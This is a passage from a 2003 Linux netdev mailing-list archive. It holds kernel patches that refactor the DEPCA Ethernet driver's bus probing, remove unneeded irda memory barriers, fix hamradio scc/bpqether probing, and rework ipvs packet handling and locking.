** 0 0 0 C0000-CFFFF (64K) + ** 1 0 0 C8000-CFFFF (32K) + ** 0 0 1 D0000-DFFFF (64K) + ** 1 0 1 D8000-DFFFF (32K) + ** 0 1 0 E0000-EFFFF (64K) + ** 1 1 0 E8000-EFFFF (32K) + */ + where = (pos[0] & 0x18) >> 3; + mem_start = 0xc0000 + (where * 0x10000); + if (pos[0] & 0x20) { + mem_start += 0x8000; + } + + /* claim the slot */ + strncpy(mdev->name, depca_mca_adapter_name[mdev->index], + sizeof(mdev->name)); + mca_device_set_claim(mdev, 1); + + /* + ** Get everything allocated and initialized... (almost just + ** like the ISA and EISA probes) + */ + irq = mca_device_transform_irq(mdev, irq); + iobase = mca_device_transform_ioport(mdev, iobase); + + if ((err = depca_common_init (iobase, &dev))) + goto out_unclaim; + + dev->irq = irq; + dev->base_addr = iobase; + lp = dev->priv; + lp->depca_bus = DEPCA_BUS_MCA; + lp->adapter = depca_mca_adapter_type[mdev->index]; + lp->mem_start = mem_start; + + if ((err = depca_hw_init(dev, device))) + goto out_free; - /* - ** Adapter initialized correctly: Name it in - ** /proc/mca. - */ - mca_set_adapter_name(slot, "DE210/212 Ethernet Adapter"); - mca_mark_as_used(slot); - num_depcas++; - - /* - ** If this is a probe by a module, return after setting up the - ** given card. - */ - if (ioaddr) - return; - - /* - ** Set up to check the next slot and loop. - */ - slot++; - continue; + return 0; - release_next: - release_region (iobase, DEPCA_TOTAL_SIZE); - next: - slot++; - } - } + out_free: + free_netdev (dev); + release_region (iobase, DEPCA_TOTAL_SIZE); + out_unclaim: + mca_device_set_claim(mdev, 0); - return; + return err;; } #endif /* ** ISA bus I/O device probe */ -static void __init isa_probe(struct net_device *dev, u_long ioaddr) + +static void depca_platform_release (struct device *device) { - int i = num_depcas, maxSlots; - s32 ports[] = DEPCA_IO_PORTS; + struct platform_device *pldev; - if (!ioaddr && autoprobed) - return; /* Been here before ! */ - if (ioaddr > 0x400) - return; /* EISA Address */ - if (i >= MAX_NUM_DEPCAS) - return; /* Too many ISA adapters */ - - if (ioaddr == 0) { /* Autoprobing */ - maxSlots = MAX_NUM_DEPCAS; - } else { /* Probe a specific location */ - ports[i] = ioaddr; - maxSlots = i + 1; - } - - for (; (i < maxSlots) && (dev != NULL) && ports[i]; i++) { - if (!request_region (ports[i], DEPCA_TOTAL_SIZE, "depca")) { - if (autoprobed) - printk("%s: region already allocated at 0x%04x.\n", dev->name, ports[i]); + /* free device */ + pldev = to_platform_device (device); + kfree (pldev); +} + +static void __init depca_platform_probe (void) +{ + int i; + struct platform_device *pldev; + + for (i = 0; depca_io_ports[i].iobase; i++) { + depca_io_ports[i].device = NULL; + + /* if an address has been specified on the command + * line, use it (if valid) */ + if (io && io != depca_io_ports[i].iobase) + continue; + + if (!(pldev = kmalloc (sizeof (*pldev), GFP_KERNEL))) continue; - } - if (DevicePresent(ports[i])) { - release_region (ports[i], DEPCA_TOTAL_SIZE); + memset (pldev, 0, sizeof (*pldev)); + pldev->name = depca_string; + pldev->id = i; + pldev->dev.platform_data = (void *) depca_io_ports[i].iobase; + pldev->dev.release = depca_platform_release; + depca_io_ports[i].device = pldev; + + if (platform_device_register (pldev)) { + kfree (pldev); + depca_io_ports[i].device = NULL; continue; } - if (!(dev = alloc_device(dev, ports[i]))) { - release_region (ports[i], DEPCA_TOTAL_SIZE); - continue; + if (!pldev->dev.driver) { + /* The driver was not bound to this device, there was + * no hardware at this address. Unregister it, as the + * release fuction will take care of freeing the + * allocated structure */ + + depca_io_ports[i].device = NULL; + platform_device_unregister (pldev); } + } +} - num_eth++; +static enum depca_type __init depca_shmem_probe (ulong *mem_start) +{ + u_long mem_base[] = DEPCA_RAM_BASE_ADDRESSES; + enum depca_type adapter = unknown; + int i; - if (depca_hw_init(dev, ports[i], -1)) { - release_region (ports[i], DEPCA_TOTAL_SIZE); - continue; - } + for (i = 0; mem_base[i]; i++) { + *mem_start = mem ? mem : mem_base[i]; + adapter = DepcaSignature (adapter_name, *mem_start); + if (adapter != unknown) + break; + } + + return adapter; +} - num_depcas++; +static int __init depca_isa_probe (struct device *device) +{ + struct net_device *dev; + struct depca_private *lp; + u_long ioaddr, mem_start = 0; + enum depca_type adapter = unknown; + int status = 0; + + ioaddr = (u_long) device->platform_data; + + if ((status = depca_common_init (ioaddr, &dev))) + goto out; + + adapter = depca_shmem_probe (&mem_start); + + if (adapter == unknown) { + status = -ENODEV; + goto out_free; } - return; + dev->base_addr = ioaddr; + dev->irq = irq; /* Use whatever value the user gave + * us, and 0 if he didn't. */ + lp = dev->priv; + lp->depca_bus = DEPCA_BUS_ISA; + lp->adapter = adapter; + lp->mem_start = mem_start; + + if ((status = depca_hw_init(dev, device))) + goto out_free; + + return 0; + + out_free: + free_netdev (dev); + release_region (ioaddr, DEPCA_TOTAL_SIZE); + out: + return status; } /* @@ -1504,202 +1582,120 @@ { struct eisa_device *edev; struct net_device *dev; - u_long iobase; + struct depca_private *lp; + u_long ioaddr, mem_start; int status = 0; edev = to_eisa_device (device); - iobase = edev->base_addr + DEPCA_EISA_IO_PORTS; + ioaddr = edev->base_addr + DEPCA_EISA_IO_PORTS; - if (!request_region (iobase, DEPCA_TOTAL_SIZE, "depca")) { - status = -EBUSY; + if ((status = depca_common_init (ioaddr, &dev))) goto out; - } - - if (DevicePresent(iobase)) { - status = -ENODEV; - goto out_release; - } - if (!(dev = init_etherdev (NULL, sizeof (struct depca_private)))) { - status = -ENOMEM; - goto out_release; - } - - eisa_set_drvdata (edev, dev); + /* It would have been nice to get card configuration from the + * card. Unfortunately, this register is write-only (shares + * it's address with the ethernet prom)... As we don't parse + * the EISA configuration structures (yet... :-), just rely on + * the ISA probing to sort it out... */ + + depca_shmem_probe (&mem_start); - if ((status = depca_hw_init(dev, iobase, -1))) + dev->base_addr = ioaddr; + dev->irq = irq; + lp = dev->priv; + lp->depca_bus = DEPCA_BUS_EISA; + lp->adapter = edev->id.driver_data; + lp->mem_start = mem_start; + + if ((status = depca_hw_init(dev, device))) goto out_free; - - num_depcas++; + return 0; out_free: - kfree (dev); - out_release: - release_region (iobase, DEPCA_TOTAL_SIZE); + free_netdev (dev); + release_region (ioaddr, DEPCA_TOTAL_SIZE); out: return status; } +#endif -static int __devexit depca_eisa_remove (struct device *device) +static int __devexit depca_device_remove (struct device *device) { struct net_device *dev; - struct eisa_device *edev; struct depca_private *lp; + int bus; - edev = to_eisa_device (device); - dev = eisa_get_drvdata (edev); + dev = device->driver_data; lp = dev->priv; unregister_netdev (dev); iounmap (lp->sh_mem); release_mem_region (lp->mem_start, lp->mem_len); release_region (dev->base_addr, DEPCA_TOTAL_SIZE); - kfree (dev); + bus = lp->depca_bus; + free_netdev (dev); return 0; } -#endif - -/* -** Search the entire 'eth' device list for a fixed probe. If a match isn't -** found then check for an autoprobe or unused device location. If they -** are not available then insert a new device structure at the end of -** the current list. -*/ -static struct net_device *__init alloc_device(struct net_device *dev, u_long iobase) -{ - struct net_device *adev = NULL; - int fixed = 0, new_dev = 0; - - num_eth = depca_dev_index(dev->name); - if (loading_module) - return dev; - - while (1) { - if (((dev->base_addr == DEPCA_NDA) || (dev->base_addr == 0)) && !adev) { - adev = dev; - } else if ((dev->priv == NULL) && (dev->base_addr == iobase)) { - fixed = 1; - } else { - if (dev->next == NULL) { - new_dev = 1; - } else if (strncmp(dev->next->name, "eth", 3) != 0) { - new_dev = 1; - } - } - if ((dev->next == NULL) || new_dev || fixed) - break; - dev = dev->next; - num_eth++; - } - if (adev && !fixed) { - dev = adev; - num_eth = depca_dev_index(dev->name); - new_dev = 0; - } - - if (((dev->next == NULL) && ((dev->base_addr != DEPCA_NDA) && (dev->base_addr != 0)) && !fixed) || new_dev) { - num_eth++; /* New device */ - dev = insert_device(dev, iobase, depca_probe); - } - - return dev; -} - -/* -** If at end of eth device list and can't use current entry, malloc -** one up. If memory could not be allocated, print an error message. -*/ -static struct net_device *__init insert_device(struct net_device *dev, u_long iobase, int (*init) (struct net_device *)) -{ - struct net_device *new; - - new = (struct net_device *) kmalloc(sizeof(struct net_device), GFP_KERNEL); - if (new == NULL) { - printk("eth%d: Device not initialised, insufficient memory\n", num_eth); - return NULL; - } else { - new->next = dev->next; - dev->next = new; - dev = dev->next; /* point to the new device */ - if (num_eth > 9999) { - sprintf(dev->name, "eth????"); /* New device name */ - } else { - sprintf(dev->name, "eth%d", num_eth); /* New device name */ - } - dev->base_addr = iobase; /* assign the io address */ - dev->init = init; /* initialisation routine */ - } - - return dev; -} - -static int __init depca_dev_index(char *s) -{ - int i = 0, j = 0; - - for (; *s; s++) { - if (isdigit(*s)) { - j = 1; - i = (i * 10) + (*s - '0'); - } else if (j) - break; - } - - return i; -} /* ** Look for a particular board name in the on-board Remote Diagnostics ** and Boot (readb) ROM. This will also give us a clue to the network RAM ** base address. */ -static void __init DepcaSignature(char *name, u_long paddr) +static int __init DepcaSignature(char *name, u_long base_addr) { u_int i, j, k; - const char *signatures[] = DEPCA_SIGNATURE; void *ptr; char tmpstr[16]; + u_long prom_addr = base_addr + 0xc000; + u_long mem_addr = base_addr + 0x8000; /* 32KB */ + + /* Can't reserve the prom region, it is already marked as + * used, at least on x86. Instead, reserve a memory region a + * board would certainly use. If it works, go ahead. If not, + * run like hell... */ + + if (!request_mem_region (mem_addr, 16, depca_string)) + return unknown; /* Copy the first 16 bytes of ROM */ - ptr = ioremap(paddr + 0xc000, 16); + + ptr = ioremap(prom_addr, 16); if (ptr == NULL) { - printk(KERN_ERR "depca: I/O remap failed at %lx\n", paddr + 0xc000); - adapter = unknown; - return; + printk(KERN_ERR "depca: I/O remap failed at %lx\n", prom_addr); + return unknown; } for (i = 0; i < 16; i++) { tmpstr[i] = readb(ptr + i); } iounmap(ptr); + release_mem_region (mem_addr, 16); + /* Check if PROM contains a valid string */ - for (i = 0; *signatures[i] != '\0'; i++) { - for (j = 0, k = 0; j < 16 && k < strlen(signatures[i]); j++) { - if (signatures[i][k] == tmpstr[j]) { /* track signature */ + for (i = 0; *depca_signature[i] != '\0'; i++) { + for (j = 0, k = 0; j < 16 && k < strlen(depca_signature[i]); j++) { + if (depca_signature[i][k] == tmpstr[j]) { /* track signature */ k++; } else { /* lost signature; begin search again */ k = 0; } } - if (k == strlen(signatures[i])) + if (k == strlen(depca_signature[i])) break; } /* Check if name string is valid, provided there's no PROM */ - if (*name && (i == unknown)) { - for (i = 0; *signatures[i] != '\0'; i++) { - if (strcmp(name, signatures[i]) == 0) + if (name && *name && (i == unknown)) { + for (i = 0; *depca_signature[i] != '\0'; i++) { + if (strcmp(name, depca_signature[i]) == 0) break; } } - /* Update search results */ - strcpy(name, signatures[i]); - adapter = i; - - return; + return i; } /* @@ -1773,10 +1769,11 @@ static int __init get_hw_addr(struct net_device *dev) { u_long ioaddr = dev->base_addr; + struct depca_private *lp = dev->priv; int i, k, tmp, status = 0; u_short j, x, chksum; - x = (((adapter == de100) || (adapter == de101)) ? 1 : 0); + x = (((lp->adapter == de100) || (lp->adapter == de101)) ? 1 : 0); for (i = 0, k = 0, j = 0; j < 3; j++) { k <<= 1; @@ -2083,55 +2080,40 @@ return status; } -#ifdef MODULE -static struct net_device thisDepca; -static int irq = 7; /* EDIT THESE LINE FOR YOUR CONFIGURATION */ -static int io = 0x200; /* Or use the irq= io= options to insmod */ -MODULE_PARM(irq, "i"); -MODULE_PARM(io, "i"); -MODULE_PARM_DESC(irq, "DEPCA IRQ number"); -MODULE_PARM_DESC(io, "DEPCA I/O base address"); - -/* See depca_probe() for autoprobe messages when a module */ -int init_module(void) +static int __init depca_module_init (void) { - thisDepca.irq = irq; - thisDepca.base_addr = io; - thisDepca.init = depca_probe; + int err = 0; - if (register_netdev(&thisDepca) != 0) - return -EIO; - - return 0; +#if CONFIG_MCA + err = mca_register_driver (&depca_mca_driver); +#endif +#ifdef CONFIG_EISA + err |= eisa_driver_register (&depca_eisa_driver); +#endif + err |= driver_register (&depca_isa_driver); + depca_platform_probe (); + + return err; } -void cleanup_module(void) +static void __exit depca_module_exit (void) { - struct depca_private *lp = thisDepca.priv; - - unregister_netdev(&thisDepca); - if (lp) { - iounmap(lp->sh_mem); - release_mem_region (lp->mem_start, lp->mem_len); -#ifdef CONFIG_MCA - if (lp->mca_slot != -1) - mca_mark_as_unused(lp->mca_slot); + int i; +#if CONFIG_MCA + mca_unregister_driver (&depca_mca_driver); #endif - kfree(lp); - thisDepca.priv = NULL; - } - thisDepca.irq = 0; +#ifdef CONFIG_EISA + eisa_driver_unregister (&depca_eisa_driver); +#endif + driver_unregister (&depca_isa_driver); - release_region(thisDepca.base_addr, DEPCA_TOTAL_SIZE); + for (i = 0; depca_io_ports[i].iobase; i++) { + if (depca_io_ports[i].device) { + platform_device_unregister (depca_io_ports[i].device); + depca_io_ports[i].device = NULL; + } + } } -#endif /* MODULE */ -MODULE_LICENSE("GPL"); - -/* - * Local variables: - * compile-command: "gcc -D__KERNEL__ -I/linux/include -Wall -Wstrict-prototypes -fomit-frame-pointer -fno-strength-reduce -malign-loops=2 -malign-jumps=2 -malign-functions=2 -O2 -m486 -c depca.c" - * - * compile-command: "gcc -D__KERNEL__ -DMODULE -I/linux/include -Wall -Wstrict-prototypes -fomit-frame-pointer -fno-strength-reduce -malign-loops=2 -malign-jumps=2 -malign-functions=2 -O2 -m486 -c depca.c" - * End: - */ +module_init (depca_module_init); +module_exit (depca_module_exit); --- ../vanilla/linux-2.5/drivers/net/Space.c 2003-09-16 21:01:02.000000000 +0200 +++ linux-2.5/drivers/net/Space.c 2003-09-12 19:40:26.000000000 +0200 @@ -58,7 +58,6 @@ extern int at1700_probe(struct net_device *); extern int fmv18x_probe(struct net_device *); extern int eth16i_probe(struct net_device *); -extern int depca_probe(struct net_device *); extern int i82596_probe(struct net_device *); extern int ewrk3_probe(struct net_device *); extern int el1_probe(struct net_device *); @@ -252,9 +247,6 @@ #ifdef CONFIG_EEXPRESS_PRO /* Intel EtherExpress Pro/10 */ {eepro_probe, 0}, #endif -#ifdef CONFIG_DEPCA /* DEC DEPCA */ - {depca_probe, 0}, -#endif #ifdef CONFIG_EWRK3 /* DEC EtherWORKS 3 */ {ewrk3_probe, 0}, #endif --=-=-= -- Places change, faces change. Life is so very strange. --=-=-=-- From felipewd@terra.com.br Tue Sep 16 12:51:51 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 12:51:55 -0700 (PDT) Received: from itaqui.terra.com.br (itaqui.terra.com.br [200.176.3.19]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GJpUYa009601 for ; Tue, 16 Sep 2003 12:51:51 -0700 Received: from araci.terra.com.br (araci.terra.com.br [200.176.3.44]) by itaqui.terra.com.br (Postfix) with ESMTP id 7FCC7810774; Tue, 16 Sep 2003 16:51:28 -0300 (BRT) Received: from terra.com.br (unknown [200.163.191.105]) (authenticated user felipewd) by araci.terra.com.br (Postfix) with ESMTP id A16D721EFF5; Tue, 16 Sep 2003 16:51:26 -0300 (BRT) Message-ID: <3F676A46.2000304@terra.com.br> Date: Tue, 16 Sep 2003 16:53:42 -0300 From: Felipe W Damasio User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021226 Debian/1.2.1-9 MIME-Version: 1.0 To: Jeff Garzik Cc: irda-users@lists.sourceforge.net, linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: [PATCH] Unneeded memory barrier in net/irda code Content-Type: multipart/mixed; boundary="------------080006050605090009040301" X-archive-position: 5976 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: felipewd@terra.com.br Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------080006050605090009040301 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi Jeff, Patch against 2.6-test5 to remove 2 unneeded memory barriers when setting current to TASK_RUNNING. Please consider applying. Thanks, Felipe --------------080006050605090009040301 Content-Type: text/plain; name="irda-mb.patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="irda-mb.patch" --- linux-2.6.0-test5/drivers/net/irda/sir_kthread.c.orig 2003-09-16 16:49:52.000000000 -0300 +++ linux-2.6.0-test5/drivers/net/irda/sir_kthread.c 2003-09-16 16:50:09.000000000 -0300 @@ -132,7 +132,7 @@ if (list_empty(&irda_rq_queue.request_list)) schedule(); else - set_task_state(current, TASK_RUNNING); + __set_task_state(current, TASK_RUNNING); remove_wait_queue(&irda_rq_queue.kick, &wait); /* make swsusp happy with our thread */ @@ -165,7 +165,7 @@ if (atomic_read(&irda_rq_queue.num_pending)) schedule(); else - set_task_state(current, TASK_RUNNING); + __set_task_state(current, TASK_RUNNING); remove_wait_queue(&irda_rq_queue.done, &wait); } } --------------080006050605090009040301-- From garzik@gtf.org Tue Sep 16 12:53:30 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 12:53:35 -0700 (PDT) Received: from havoc.gtf.org (havoc.gtf.org [63.247.75.124]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GJr9Ya009842 for ; Tue, 16 Sep 2003 12:53:30 -0700 Received: by havoc.gtf.org (Postfix, from userid 500) id EFECC663B; Tue, 16 Sep 2003 15:53:03 -0400 (EDT) Date: Tue, 16 Sep 2003 15:53:03 -0400 From: Jeff Garzik To: "David S. Miller" Cc: Stephen Hemminger , netdev@oss.sgi.com Subject: Re: [PATCH] deprecate dev_get Message-ID: <20030916195303.GD5987@gtf.org> References: <20030915171230.68c08e26.shemminger@osdl.org> <20030915224255.49755297.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030915224255.49755297.davem@redhat.com> User-Agent: Mutt/1.3.28i X-archive-position: 5977 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev On Mon, Sep 15, 2003 at 10:42:55PM -0700, David S. Miller wrote: > Probably isn't going to happen this week, since Linus is not around. Jeff is in San Jose and not really around, either :) Jeff From pe1rxq@amsat.org Tue Sep 16 13:49:14 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 13:49:18 -0700 (PDT) Received: from amsfep14-int.chello.nl (amsfep14-int.chello.nl [213.46.243.22]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GKnCYa012529 for ; Tue, 16 Sep 2003 13:49:13 -0700 Received: from mail.chello.nl ([212.83.83.7]) by amsfep14-int.chello.nl (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with SMTP id <20030916204904.ULTU5521.amsfep14-int.chello.nl@mail.chello.nl>; Tue, 16 Sep 2003 22:49:04 +0200 Date: Tue, 16 Sep 2003 22:53:53 +0200 From: Jeroen Vreeken To: Jeff Garzik Cc: linux-hams@vger.kernel.org, netdev@oss.sgi.com, Stephen Hemminger Subject: Re: [PATCH] hamradio/scc - Message-ID: <20030916225353.I13088@jeroen.pe1rxq.ampr.org> References: <20030915162335.0034a551.shemminger@osdl.org> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="AWniW0JNca5xppdA" Content-Transfer-Encoding: 8bit In-Reply-To: <20030915162335.0034a551.shemminger@osdl.org>; from shemminger@osdl.org on Tue, Sep 16, 2003 at 01:23:35 +0200 X-Mailer: Balsa 1.1.0 Lines: 68 X-archive-position: 5978 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pe1rxq@amsat.org Precedence: bulk X-list: netdev --AWniW0JNca5xppdA Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit On 2003.09.16 01:23:35 +0200 Stephen Hemminger wrote: > Update hamradio/scc for 2.6.0-test5 > - use seq_file for /proc > - get rid of dev_get() > - use alloc_netdev I have a little adition of my own (should apply nicely next to this patch). The probe function uses the not yet initialized scc struct for requesting its io region. The second patch is against the bpqethernet driver. This has a debug printk that seems to be untouched since somewhere early 2.1 kernels. The if statement it debugs seems to work perfectly and its only use at the moment is to annoy the hell out of me :) Jeroen --AWniW0JNca5xppdA Content-Type: application/octet-stream; charset=us-ascii Content-Disposition: attachment; filename="scc-2.6.0.t5.rxq.diff" --- linux-2.6.0-test5/drivers/net/hamradio/scc.c Mon Sep 8 21:50:22 2003 +++ linux-2.6.0-test5.rxq/drivers/net/hamradio/scc.c Tue Sep 16 22:41:36 2003 @@ -1767,7 +1767,7 @@ #ifndef SCC_DONT_CHECK - if(request_region(scc->ctrl, 1, "scc-probe")) + if(request_region(hwcfg.ctrl_a, 1, "scc-probe")) { disable_irq(hwcfg.irq); Outb(hwcfg.ctrl_a, 0); @@ -1779,7 +1779,7 @@ if (InReg(hwcfg.ctrl_a,R13) != 0x55) found = 0; enable_irq(hwcfg.irq); - release_region(scc->ctrl, 1); + release_region(hwcfg.ctrl_a, 1); } else found = 0; --AWniW0JNca5xppdA Content-Type: application/octet-stream; charset=us-ascii Content-Disposition: attachment; filename="bpqether-2.6.0.t5.rxq.diff" --- linux-2.6.0-test5/drivers/net/hamradio/bpqether.c Mon Sep 8 21:50:03 2003 +++ linux-2.6.0-test5.rxq/drivers/net/hamradio/bpqether.c Mon Sep 15 15:40:16 2003 @@ -189,10 +189,8 @@ bpq = (struct bpqdev *)dev->priv; - if (!(bpq->acpt_addr[0] & 0x01) && memcmp(eth->h_source, bpq->acpt_addr, ETH_ALEN)) { - printk(KERN_DEBUG "bpqether: wrong dest %s\n", bpq_print_ethaddr(eth->h_source)); + if (!(bpq->acpt_addr[0] & 0x01) && memcmp(eth->h_source, bpq->acpt_addr, ETH_ALEN)) goto drop; - } len = skb->data[0] + skb->data[1] * 256 - 5; --AWniW0JNca5xppdA-- From shemminger@osdl.org Tue Sep 16 14:26:18 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 14:26:28 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GLQGYa013914 for ; Tue, 16 Sep 2003 14:26:17 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8GLPqo12055; Tue, 16 Sep 2003 14:25:52 -0700 Date: Tue, 16 Sep 2003 14:23:50 -0700 From: Stephen Hemminger To: Wensong Zhang Cc: lvs-users@LinuxVirtualServer.org, netdev@oss.sgi.com Subject: [PATCH] (6/6) ipvs -- get rid of skb_linearize Message-Id: <20030916142350.1da23a4a.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5979 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Get rid of skb_linearize warnings, by using may_pull to get the header where needed. diff -Nru a/net/ipv4/ipvs/ip_vs_app.c b/net/ipv4/ipvs/ip_vs_app.c --- a/net/ipv4/ipvs/ip_vs_app.c Tue Sep 16 14:11:17 2003 +++ b/net/ipv4/ipvs/ip_vs_app.c Tue Sep 16 14:11:17 2003 @@ -382,6 +382,10 @@ return 0; iph = skb->nh.iph; + if (!pskb_may_pull(skb, (iph->ihl*4)+sizeof(*th))) + return 0; + + iph = skb->nh.iph; th = (struct tcphdr *)&(((char *)iph)[iph->ihl*4]); /* @@ -436,6 +440,10 @@ * this ip_vs_conn. */ if ((app = cp->app) == NULL) + return 0; + + iph = skb->nh.iph; + if (!pskb_may_pull(skb, (iph->ihl*4)+sizeof(*th))) return 0; iph = skb->nh.iph; diff -Nru a/net/ipv4/ipvs/ip_vs_core.c b/net/ipv4/ipvs/ip_vs_core.c --- a/net/ipv4/ipvs/ip_vs_core.c Tue Sep 16 14:11:17 2003 +++ b/net/ipv4/ipvs/ip_vs_core.c Tue Sep 16 14:11:17 2003 @@ -526,11 +526,11 @@ *skb_p = skb; } - if (skb_is_nonlinear(skb)) { - if (skb_linearize(skb, GFP_ATOMIC) != 0) - return NF_DROP; - ip_send_check(skb->nh.iph); - } + if (!(skb = skb_share_check(skb, GFP_ATOMIC))) + return NF_STOLEN; + + if (!pskb_may_pull(skb, sizeof(*iph) + sizeof(*icmph))) + return NF_DROP; iph = skb->nh.iph; ihl = iph->ihl << 2; @@ -726,11 +726,12 @@ * do final checksum checking. */ - if (unlikely(cp->app && !pp->slave && skb_is_nonlinear(skb))) { - if (skb_linearize(skb, GFP_ATOMIC) != 0) { + if (unlikely(cp->app && !pp->slave)) { + if (!(skb = skb_share_check(skb, GFP_ATOMIC))) { ip_vs_conn_put(cp); - return NF_DROP; + return NF_STOLEN; } + iph = skb->nh.iph; h.raw = (char*) iph + ihl; } @@ -816,12 +817,13 @@ int rc; *related = 1; - if (skb_is_nonlinear(skb)) { - if (skb_linearize(skb, GFP_ATOMIC) != 0) - return NF_DROP; - ip_send_check(skb->nh.iph); - } - + if (!pskb_may_pull(skb, sizeof(*iph))) + return NF_DROP; + + iph = skb->nh.iph; + if (!pskb_may_pull(skb, iph->ihl*4 + sizeof(*icmph))) + return NF_DROP; + iph = skb->nh.iph; icmph = (struct icmphdr *)((char *)iph+(iph->ihl<<2)); len = ntohs(iph->tot_len) - (iph->ihl<<2); diff -Nru a/net/ipv4/ipvs/ip_vs_xmit.c b/net/ipv4/ipvs/ip_vs_xmit.c --- a/net/ipv4/ipvs/ip_vs_xmit.c Tue Sep 16 14:11:17 2003 +++ b/net/ipv4/ipvs/ip_vs_xmit.c Tue Sep 16 14:11:17 2003 @@ -265,13 +265,20 @@ */ if (unlikely(cp->app && !pp->slave)) { - if (skb_is_nonlinear(skb) && - skb_linearize(skb, GFP_ATOMIC) != 0) - return NF_DROP; + if (!(skb = skb_share_check(skb, GFP_ATOMIC))) + return NF_STOLEN; + } + if (!pskb_may_pull(skb, sizeof(*iph))) + goto tx_error; + iph = skb->nh.iph; ihl = iph->ihl << 2; + if (!pskb_may_pull(skb, sizeof(*iph) + ihl)) + goto tx_error; + + iph = skb->nh.iph; h.raw = (char*) iph + ihl; size = ntohs(iph->tot_len) - ihl; From shemminger@osdl.org Tue Sep 16 14:26:18 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 14:26:28 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GLQGYa013913 for ; Tue, 16 Sep 2003 14:26:17 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8GLPqo12047; Tue, 16 Sep 2003 14:25:52 -0700 Date: Tue, 16 Sep 2003 14:21:16 -0700 From: Stephen Hemminger To: Wensong Zhang Cc: lvs-users@LinuxVirtualServer.org, netdev@oss.sgi.com Subject: [PATCH] (4/6) ipvs -- use reader locks and refcounts correctly. Message-Id: <20030916142116.58a05005.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 1 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev The code to get the service table was not taking a reader lock because it needed to copy_to_user. Do it right: - hold refcnt when copying out, and use a read lock - make lock local to ip_svc - get rid of IP_VS_WAIT_WHILE, use proper read locks and refcounts. - move write_lock_bh in flush to outside of loop - tag user pointers (for sparse). diff -Nru a/include/net/ip_vs.h b/include/net/ip_vs.h --- a/include/net/ip_vs.h Tue Sep 16 14:08:55 2003 +++ b/include/net/ip_vs.h Tue Sep 16 14:08:55 2003 @@ -319,8 +319,6 @@ #define LeaveFunction(level) do {} while (0) #endif -#define IP_VS_WAIT_WHILE(expr) while (expr) { cpu_relax(); } - /* * The port number of FTP service (in network order). diff -Nru a/net/ipv4/ipvs/ip_vs_ctl.c b/net/ipv4/ipvs/ip_vs_ctl.c --- a/net/ipv4/ipvs/ip_vs_ctl.c Tue Sep 16 14:08:55 2003 +++ b/net/ipv4/ipvs/ip_vs_ctl.c Tue Sep 16 14:08:55 2003 @@ -48,7 +48,7 @@ static DECLARE_MUTEX(__ip_vs_mutex); /* lock for service table */ -rwlock_t __ip_vs_svc_lock = RW_LOCK_UNLOCKED; +static rwlock_t __ip_vs_svc_lock = RW_LOCK_UNLOCKED; /* lock for table with the real services */ static rwlock_t __ip_vs_rs_lock = RW_LOCK_UNLOCKED; @@ -808,11 +808,6 @@ write_lock_bh(&__ip_vs_svc_lock); - /* - * Wait until all other svc users go away. - */ - IP_VS_WAIT_WHILE(atomic_read(&svc->usecnt) > 